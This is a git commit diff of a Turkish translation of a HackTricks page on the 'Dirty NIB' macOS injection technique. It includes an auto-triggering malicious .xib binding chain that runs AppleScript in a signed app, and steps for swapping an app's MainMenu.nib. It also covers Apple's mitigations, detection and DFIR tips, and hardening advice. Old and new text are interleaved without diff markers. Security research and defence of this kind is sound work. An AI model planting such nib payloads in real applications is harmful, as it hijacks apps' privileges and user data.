Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-08-26 17:11:54 +00:00
parent 00278c7f40
commit df93c0e588

View File

@ -2,72 +2,145 @@
{{#include ../../../banners/hacktricks-training.md}}
**Teknik hakkında daha fazla detay için orijinal gönderiyi kontrol edin:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) ve [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)**.** İşte bir özet:
Dirty NIB, imzalı bir macOS app paketinin içindeki Interface Builder dosyaları (.xib/.nib) kötüye kullanılarak hedef süreç içinde saldırgan kontrollü mantığın çalıştırılmasına ve böylece o sürecin entitlements ve TCC izinlerinin devralınmasına işaret eder. Bu teknik ilk olarak xpn (MDSec) tarafından belgelenmiş, daha sonra Sector7 tarafından genelleştirilmiş ve önemli ölçüde genişletilmiştir; Sector7 ayrıca Appleın macOS 13 Ventura ve macOS 14 Sonomadaki hafifleştirmelerini de ele almıştır. Arka plan ve detaylı incelemeler için sondaki referanslara bakın.
### Nib dosyaları nedir
> Özet
> • macOS 13 Ventura öncesi: bir bundleın MainMenu.nibini (veya startupta yüklenen başka bir nibi) değiştirmek genellikle process injection elde etmeye ve sıkça privilege escalationa güvenilir şekilde ulaşmaya izin veriyordu.
> • macOS 13 (Ventura) ile başlayan ve macOS 14 (Sonoma) ile geliştirilmiş: firstlaunch deep verification, bundle protection, Launch Constraints ve yeni TCC “App Management” izni, ilişkisiz uygulamaların postlaunch nib tahrifatını büyük ölçüde engelliyor. Yine de bazı niş durumlarda saldırılar mümkün olabilir (ör. aynı geliştiriciye ait toolingin kendi uygulamalarını değiştirmesi veya kullanıcı tarafından App Management/Full Disk Access verilmiş terminaller gibi).
Nib (NeXT Interface Builder'ın kısaltması) dosyaları, Apple'ın geliştirme ekosisteminin bir parçası olarak, uygulamalardaki **UI öğelerini** ve etkileşimlerini tanımlamak için tasarlanmıştır. Pencereler ve butonlar gibi serileştirilmiş nesneleri kapsar ve çalışma zamanında yüklenir. Sürekli kullanımlarına rağmen, Apple artık daha kapsamlı UI akış görselleştirmesi için Storyboard'ları önermektedir.
## What are NIB/XIB files
Ana Nib dosyası, uygulamanın `Info.plist` dosyasında **`NSMainNibFile`** değerinde referans alınır ve uygulamanın `main` fonksiyonunda yürütülen **`NSApplicationMain`** fonksiyonu tarafından yüklenir.
Nib (NeXT Interface Builder kısaltması) dosyaları, AppKit uygulamaları tarafından kullanılan serileştirilmiş UI nesne grafikleridir. Modern Xcode, düzenlenebilir XML .xib dosyalarını depolar ve bunlar build zamanında .nibe derlenir. Tipik bir uygulama ana UIsini `NSApplicationMain()` aracılığıyla yükler; bu fonksiyon appin Info.plistinden `NSMainNibFile` anahtarını okur ve çalışma zamanında nesne grafiğini örnekler.
### Kirli Nib Enjeksiyon Süreci
Saldırıyı mümkün kılan ana noktalar:
- NIB yükleme, sınıfların NSSecureCodinge uymasını gerektirmeden rastgele ObjectiveC sınıflarını örnekler (Appleın nib loaderı `initWithCoder:` mevcut olmadığında `init`/`initWithFrame:`e geri döner).
- Cocoa Bindings, nibler örneklenirken yöntem çağırmak için kötüye kullanılabilir; kullanıcı etkileşimi gerektirmeyen zincirlenmiş çağrılar dahil.
#### NIB Dosyası Oluşturma ve Ayarlama
## Dirty NIB injection process (attacker view)
1. **İlk Kurulum**:
- XCode kullanarak yeni bir NIB dosyası oluşturun.
- Arayüze bir Nesne ekleyin, sınıfını `NSAppleScript` olarak ayarlayın.
- Başlangıç `source` özelliğini Kullanıcı Tanımlı Çalışma Zamanı Özellikleri aracılığıyla yapılandırın.
2. **Kod Yürütme Aleti**:
- Kurulum, AppleScript'in talep üzerine çalıştırılmasını sağlar.
- `Apple Script` nesnesini etkinleştirmek için bir buton ekleyin, özellikle `executeAndReturnError:` seçicisini tetikleyin.
3. **Test**:
Klasik Venturaöncesi akış:
1) Kötücül bir .xib oluşturun
- Bir `NSAppleScript` nesnesi ekleyin (veya `NSTask` gibi diğer “gadget” sınıflar).
- Başlığı payload içeren (ör. AppleScript veya komut argümanları) bir `NSTextField` ekleyin.
- Hedef nesne üzerinde yöntemleri çağırmak için bindings ile bağlanmış bir veya daha fazla `NSMenuItem` nesnesi ekleyin.
- Test amaçlı basit bir Apple Script:
2) Kullanıcı tıklaması olmadan otomatik tetikleyin
- Bir menü öğesinin target/selectorünü ayarlamak için bindings kullanın ve ardından eylemin nib yüklendiğinde otomatik olarak tetiklenmesi için özel `_corePerformAction` metodunu çağırın. Bu, bir kullanıcının butona tıklaması gerekliliğini ortadan kaldırır.
```bash
Bir .xib içinde otomatik tetik zincirinin minimal örneği (anlaşılırlık için kısaltılmış):
```xml
<objects>
<customObject id="A1" customClass="NSAppleScript"/>
<textField id="A2" title="display dialog \"PWND\""/>
<!-- Menu item that will call -initWithSource: on NSAppleScript with A2.title -->
<menuItem id="C1">
<connections>
<binding name="target" destination="A1"/>
<binding name="selector" keyPath="initWithSource:"/>
<binding name="Argument" destination="A2" keyPath="title"/>
</connections>
</menuItem>
<!-- Menu item that will call -executeAndReturnError: on NSAppleScript -->
<menuItem id="C2">
<connections>
<binding name="target" destination="A1"/>
<binding name="selector" keyPath="executeAndReturnError:"/>
</connections>
</menuItem>
<!-- Triggers that autopress the above menu items at load time -->
<menuItem id="T1"><connections><binding keyPath="_corePerformAction" destination="C1"/></connections></menuItem>
<menuItem id="T2"><connections><binding keyPath="_corePerformAction" destination="C2"/></connections></menuItem>
</objects>
```
Bu, nib yüklendiğinde hedef süreçte keyfi AppleScript yürütülmesini sağlar. Gelişmiş zincirler şunları yapabilir:
- Keyfi AppKit sınıflarını örnekleyebilir (ör. `NSTask`) ve `-launch` gibi argümansız yöntemleri çağırabilir.
- Yukarıdaki binding hilesiyle nesne argümanlı keyfi selector'leri çağırabilir.
- AppleScriptObjC.framework'i yükleyip ObjectiveC'ye köprü kurabilir ve seçili C API'lerini bile çağırabilir.
- Hâlâ Python.framework içeren daha eski sistemlerde, Python'a köprü kurup `ctypes` kullanarak keyfi C fonksiyonlarını çağırabilir (Sector7'in araştırması).
3) Uygulamanın nib'ini değiştirin
- target.app'i yazılabilir bir konuma kopyalayın, örn. `Contents/Resources/MainMenu.nib` dosyasını kötü amaçlı nib ile değiştirin ve target.app'i çalıştırın. PreVentura döneminde, tek seferlik bir Gatekeeper değerlendirmesinden sonra sonraki başlatmalarda yalnızca yüzeysel imza kontrolleri yapıldığından, yürütülebilir olmayan kaynaklar (ör. .nib) yeniden doğrulanmazdı.
Görünür bir test için örnek AppleScript payload:
```applescript
set theDialogText to "PWND"
display dialog theDialogText
```
## Modern macOS protections (Ventura/Monterey/Sonoma/Sequoia)
- XCode hata ayıklayıcısında çalıştırarak ve butona tıklayarak test edin.
Apple, Dirty NIB'in modern macOS'ta geçerliliğini önemli ölçüde azaltan birkaç sistemsel hafifletme getirdi:
- Firstlaunch deep verification and bundle protection (macOS 13 Ventura)
- Herhangi bir uygulamanın ilk çalıştırılmasında (quarantined or not), derin bir imza doğrulaması tüm bundle kaynaklarını kapsar. Sonrasında bundle korunur: yalnızca aynı geliştiriciden gelen uygulamalar (veya uygulama tarafından açıkça izin verilenler) içeriğini değiştirebilir. Diğer uygulamaların başka bir uygulamanın bundle'ına yazabilmesi için yeni TCC “App Management” iznine ihtiyaç vardır.
- Launch Constraints (macOS 13 Ventura)
- System/Applebundled apps cant be copied elsewhere and launched; bu, OS uygulamaları için “copy to /tmp, patch, run” yaklaşımını öldürür.
- Improvements in macOS 14 Sonoma
- Apple App Management'ı sertleştirdi ve Sector7 tarafından belirtilen bilinen bypass'ları (ör. CVE202340450) düzeltti. Python.framework daha önce (macOS 12.3) kaldırılmıştı, bu da bazı privilegeescalation zincirlerini kırdı.
- Gatekeeper/Quarantine changes
- Bu tekniği etkileyen Gatekeeper, provenance, ve assessment değişikliklerinin daha geniş tartışması için, aşağıda referans verilen sayfaya bakın.
#### Bir Uygulamayı Hedefleme (Örnek: Pages)
> Practical implication
> • On Ventura+ you generally cannot modify a thirdparty apps .nib unless your process has App Management or is signed by the same Team ID as the target (e.g., developer tooling).
> • Granting App Management or Full Disk Access to shells/terminals effectively reopens this attack surface for anything that can execute code inside that terminals context.
1. **Hazırlık**:
- Hedef uygulamayı (örneğin, Pages) ayrı bir dizine (örneğin, `/tmp/`) kopyalayın.
- Gatekeeper sorunlarını aşmak ve önbelleğe almak için uygulamayı başlatın.
2. **NIB Dosyasını Üzerine Yazma**:
- Mevcut bir NIB dosyasını (örneğin, Hakkında Panel NIB) oluşturulan DirtyNIB dosyasıyla değiştirin.
3. **Yürütme**:
- Uygulama ile etkileşimde bulunarak yürütmeyi tetikleyin (örneğin, `Hakkında` menü öğesini seçerek).
#### Kavramsal Kanıt: Kullanıcı Verilerine Erişim
### Launch Constraints'i Ele Alma
- Kullanıcı izni olmadan fotoğraflar gibi kullanıcı verilerine erişmek ve çıkarmak için AppleScript'i değiştirin.
Launch Constraints, Ventura ile başlayarak birçok Apple uygulamasının varsayılan olmayan konumlardan çalıştırılmasını engeller. Eğer bir Apple uygulamasını geçici bir dizine kopyalayıp, `MainMenu.nib`'i değiştirip başlatmak gibi preVentura iş akışlarına dayanıyorsanız, bunun >= 13.0'da başarısız olmasını bekleyin.
### Kod Örneği: Kötü Amaçlı .xib Dosyası
- Rastgele kod yürütmeyi gösteren bir [**kötü amaçlı .xib dosyası örneği**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) erişin ve inceleyin.
## Hedefleri ve nib'leri listeleme (araştırma / eski sistemler için faydalı)
### Diğer Örnek
- UI'si nibtabanlı uygulamaları tespit edin:
```bash
find /Applications -maxdepth 2 -name Info.plist -exec sh -c \
'for p; do if /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" >/dev/null 2>&1; \
then echo "[+] $(dirname "$p") uses NSMainNibFile=$( /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" )"; fi; done' sh {} +
```
- Bir bundle içinde aday nib kaynaklarını bul:
```bash
find target.app -type f \( -name "*.nib" -o -name "*.xib" \) -print
```
- Kod imzalarını derinlemesine doğrulayın (kaynaklarla oynadıysanız ve yeniden imzalamadıysanız başarısız olur):
```bash
codesign --verify --deep --strict --verbose=4 target.app
```
> Not: Modern macOS'ta, başka bir uygulamanın bundle'ına uygun yetki olmadan yazmaya çalıştığınızda bundle protection/TCC tarafından engellenirsiniz.
[https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) adresinde kirli nib oluşturma hakkında bir eğitim bulabilirsiniz.
## Tespit ve DFIR ipuçları
### Başlatma Kısıtlamalarını Ele Alma
- bundle kaynakları üzerinde dosya bütünlüğü izleme
- Yüklü uygulamalarda `Contents/Resources/*.nib` ve diğer yürütülemeyen kaynaklarda mtime/ctime değişikliklerini izleyin.
- Unified logs ve süreç davranışı
- GUI uygulamaları içinde beklenmeyen AppleScript yürütmelerini ve AppleScriptObjC veya Python.framework yükleyen süreçleri izleyin. Örnek:
```bash
log stream --info --predicate 'processImagePath CONTAINS[cd] ".app/Contents/MacOS/" AND (eventMessage CONTAINS[cd] "AppleScript" OR eventMessage CONTAINS[cd] "loadAppleScriptObjectiveCScripts")'
```
- Proaktif değerlendirmeler
- Kritik uygulamalar üzerinde `codesign --verify --deep` komutunu periyodik olarak çalıştırarak kaynakların sağlam kaldığından emin olun.
- Yetki bağlamı
- TCC “App Management” veya Full Disk Access hakkına kimlerin/neyin sahip olduğunu denetleyin (özellikle terminaller ve yönetim ajanları). Genelamaç shell'lerden bunları kaldırmak, Dirty NIBstilindeki manipülasyonların kolayca yeniden etkinleştirilmesini engeller.
- Başlatma Kısıtlamaları, uygulama yürütmesini beklenmedik yerlerden (örneğin, `/tmp`) engeller.
- Başlatma Kısıtlamaları ile korunmayan uygulamaları tanımlamak ve NIB dosyası enjeksiyonu için hedeflemek mümkündür.
### Ek macOS Koruma Önlemleri
## Savunma sertleştirmesi (geliştiriciler ve savunucular)
macOS Sonoma'dan itibaren, Uygulama paketleri içindeki değişiklikler kısıtlanmıştır. Ancak, önceki yöntemler şunları içeriyordu:
- Programatik UI tercih edin veya nib'lerden instantiated edilen öğeleri sınırlayın. nib grafiğine güçlü sınıfları (ör. `NSTask`) dahil etmekten kaçının ve rastgele nesneler üzerinde dolaylı olarak selector çağıran bindings'ten kaçının.
- Library Validation ile hardened runtime'ı benimseyin (modern uygulamalar için zaten standart). Bu tek başına nib enjeksiyonunu durdurmasa da kolay native kod yüklemeyi engeller ve saldırganları sadece scriptingtabanlı payload'lara zorlar.
- Genelamaç araçlarda geniş App Management izinleri talep etmeyin veya bunlara bağlı olmayın. Eğer MDM App Management gerektiriyorsa, bu bağlamı kullanıcı tarafından başlatılan shell'lerden ayırın.
- Uygulama bundle'ınızın bütünlüğünü düzenli olarak doğrulayın ve güncelleme mekanizmalarınızı bundle kaynaklarını otomatik olarak onaran şekilde tasarlayın.
1. Uygulamayı farklı bir konuma (örneğin, `/tmp/`) kopyalamak.
2. İlk korumaları aşmak için uygulama paketindeki dizinleri yeniden adlandırmak.
3. Uygulamayı Gatekeeper ile kaydetmek için çalıştırdıktan sonra, uygulama paketini değiştirmek (örneğin, MainMenu.nib'i Dirty.nib ile değiştirmek).
4. Dizinleri geri yeniden adlandırmak ve enjeksiyon yapılan NIB dosyasını yürütmek için uygulamayı yeniden çalıştırmak.
**Not**: Son macOS güncellemeleri, Gatekeeper önbelleklemesinden sonra uygulama paketleri içinde dosya değişikliklerini engelleyerek bu istismarı etkisiz hale getirmiştir.
## Related reading in HackTricks
Learn more about Gatekeeper, quarantine and provenance changes that affect this technique:
{{#ref}}
../macos-security-protections/macos-gatekeeper.md
{{#endref}}
## References
- xpn DirtyNIB (orijinal yazı, Pages örneğiyle): https://blog.xpnsec.com/dirtynib/
- Sector7 Bringing process injection into view(s): exploiting all macOS apps using nib files (5 Nisan 2024): https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/
{{#include ../../../banners/hacktricks-training.md}}